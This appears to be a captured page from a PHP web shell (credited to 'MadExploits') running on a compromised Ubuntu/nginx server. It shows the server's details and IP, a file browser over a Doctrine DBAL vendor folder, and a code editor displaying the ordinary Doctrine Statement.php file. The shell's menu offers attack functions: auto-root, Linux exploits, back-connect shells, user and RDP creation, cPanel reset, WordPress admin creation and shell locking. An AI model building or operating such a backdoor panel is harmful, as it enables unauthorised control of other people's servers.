Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.159
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sms-auth /
vendor /
doctrine /
dbal /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
ArrayParameters
[ DIR ]
drwxrwxr-x
Cache
[ DIR ]
drwxrwxr-x
Connections
[ DIR ]
drwxrwxr-x
Driver
[ DIR ]
drwxrwxr-x
Event
[ DIR ]
drwxrwxr-x
Exception
[ DIR ]
drwxrwxr-x
Id
[ DIR ]
drwxrwxr-x
Logging
[ DIR ]
drwxrwxr-x
Platforms
[ DIR ]
drwxrwxr-x
Portability
[ DIR ]
drwxrwxr-x
Query
[ DIR ]
drwxrwxr-x
SQL
[ DIR ]
drwxrwxr-x
Schema
[ DIR ]
drwxrwxr-x
Tools
[ DIR ]
drwxrwxr-x
Types
[ DIR ]
drwxrwxr-x
ColumnCase.php
429
B
-rw-rw-r--
Configuration.php
3.28
KB
-rw-rw-r--
Connection.php
56.63
KB
-rw-rw-r--
ConnectionException.php
969
B
-rw-rw-r--
Driver.php
1.35
KB
-rw-rw-r--
DriverManager.php
15.08
KB
-rw-rw-r--
Events.php
1.1
KB
-rw-rw-r--
Exception.php
5.08
KB
-rw-rw-r--
ExpandArrayParameters.php
3.62
KB
-rw-rw-r--
FetchMode.php
331
B
-rw-rw-r--
LockMode.php
419
B
-rw-rw-r--
ParameterType.php
982
B
-rw-rw-r--
Query.php
1.19
KB
-rw-rw-r--
Result.php
8.29
KB
-rw-rw-r--
Statement.php
6.62
KB
-rw-rw-r--
TransactionIsolationLevel.php
613
B
-rw-rw-r--
VersionAwarePlatformDriver.php
946
B
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Statement.php
<?php namespace Doctrine\DBAL; use Doctrine\DBAL\Driver\Exception; use Doctrine\DBAL\Driver\Statement as DriverStatement; use Doctrine\DBAL\Platforms\AbstractPlatform; use Doctrine\DBAL\Types\Type; use Doctrine\Deprecations\Deprecation; use function func_num_args; use function is_string; /** * A database abstraction-level statement that implements support for logging, DBAL mapping types, etc. */ class Statement { /** * The SQL statement. * * @var string */ protected $sql; /** * The bound parameters. * * @var mixed[] */ protected $params = []; /** * The parameter types. * * @var int[]|string[] */ protected $types = []; /** * The underlying driver statement. * * @var DriverStatement */ protected $stmt; /** * The underlying database platform. * * @var AbstractPlatform */ protected $platform; /** * The connection this statement is bound to and executed on. * * @var Connection */ protected $conn; /** * Creates a new <tt>Statement</tt> for the given SQL and <tt>Connection</tt>. * * @internal The statement can be only instantiated by {@link Connection}. * * @param string $sql The SQL of the statement. * @param Connection $conn The connection on which the statement should be executed. * * @throws Exception */ public function __construct($sql, Connection $conn) { $driverConnection = $conn->getWrappedConnection(); try { $stmt = $driverConnection->prepare($sql); } catch (Exception $ex) { throw $conn->convertExceptionDuringQuery($ex, $sql); } $this->sql = $sql; $this->stmt = $stmt; $this->conn = $conn; $this->platform = $conn->getDatabasePlatform(); } /** * Binds a parameter value to the statement. * * The value can optionally be bound with a DBAL mapping type. * If bound with a DBAL mapping type, the binding type is derived from the mapping * type and the value undergoes the conversion routines of the mapping type before * being bound. * * @param string|int $param The name or position of the parameter. * @param mixed $value The value of the parameter. * @param mixed $type Either a PDO binding type or a DBAL mapping type name or instance. * * @return bool TRUE on success, FALSE on failure. * * @throws Exception */ public function bindValue($param, $value, $type = ParameterType::STRING) { $this->params[$param] = $value; $this->types[$param] = $type; $bindingType = ParameterType::STRING; if ($type !== null) { if (is_string($type)) { $type = Type::getType($type); } $bindingType = $type; if ($type instanceof Type) { $value = $type->convertToDatabaseValue($value, $this->platform); $bindingType = $type->getBindingType(); } } try { return $this->stmt->bindValue($param, $value, $bindingType); } catch (Exception $e) { throw $this->conn->convertException($e); } } /** * Binds a parameter to a value by reference. * * Binding a parameter by reference does not support DBAL mapping types. * * @param string|int $param The name or position of the parameter. * @param mixed $variable The reference to the variable to bind. * @param int $type The binding type. * @param int|null $length Must be specified when using an OUT bind * so that PHP allocates enough memory to hold the returned value. * * @return bool TRUE on success, FALSE on failure. * * @throws Exception */ public function bindParam($param, &$variable, $type = ParameterType::STRING, $length = null) { $this->params[$param] = $variable; $this->types[$param] = $type; try { if (func_num_args() > 3) { return $this->stmt->bindParam($param, $variable, $type, $length); } return $this->stmt->bindParam($param, $variable, $type); } catch (Exception $e) { throw $this->conn->convertException($e); } } /** * Executes the statement with the currently bound parameters. * * @deprecated Statement::execute() is deprecated, use Statement::executeQuery() or executeStatement() instead * * @param mixed[]|null $params * * @throws Exception */ public function execute($params = null): Result { Deprecation::triggerIfCalledFromOutside( 'doctrine/dbal', 'https://github.com/doctrine/dbal/pull/4580', 'Statement::execute() is deprecated, use Statement::executeQuery() or Statement::executeStatement() instead' ); if ($params !== null) { $this->params = $params; } $logger = $this->conn->getConfiguration()->getSQLLogger(); if ($logger !== null) { $logger->startQuery($this->sql, $this->params, $this->types); } try { return new Result( $this->stmt->execute($params), $this->conn ); } catch (Exception $ex) { throw $this->conn->convertExceptionDuringQuery($ex, $this->sql, $this->params, $this->types); } finally { if ($logger !== null) { $logger->stopQuery(); } } } /** * Executes the statement with the currently bound parameters and return result. * * @param mixed[] $params * * @throws Exception */ public function executeQuery(array $params = []): Result { if ($params === []) { $params = null; // Workaround as long execute() exists and used internally. } return $this->execute($params); } /** * Executes the statement with the currently bound parameters and return affected rows. * * @param mixed[] $params * * @throws Exception */ public function executeStatement(array $params = []): int { if ($params === []) { $params = null; // Workaround as long execute() exists and used internally. } return $this->execute($params)->rowCount(); } /** * Gets the wrapped driver statement. * * @return DriverStatement */ public function getWrappedStatement() { return $this->stmt; } }
Close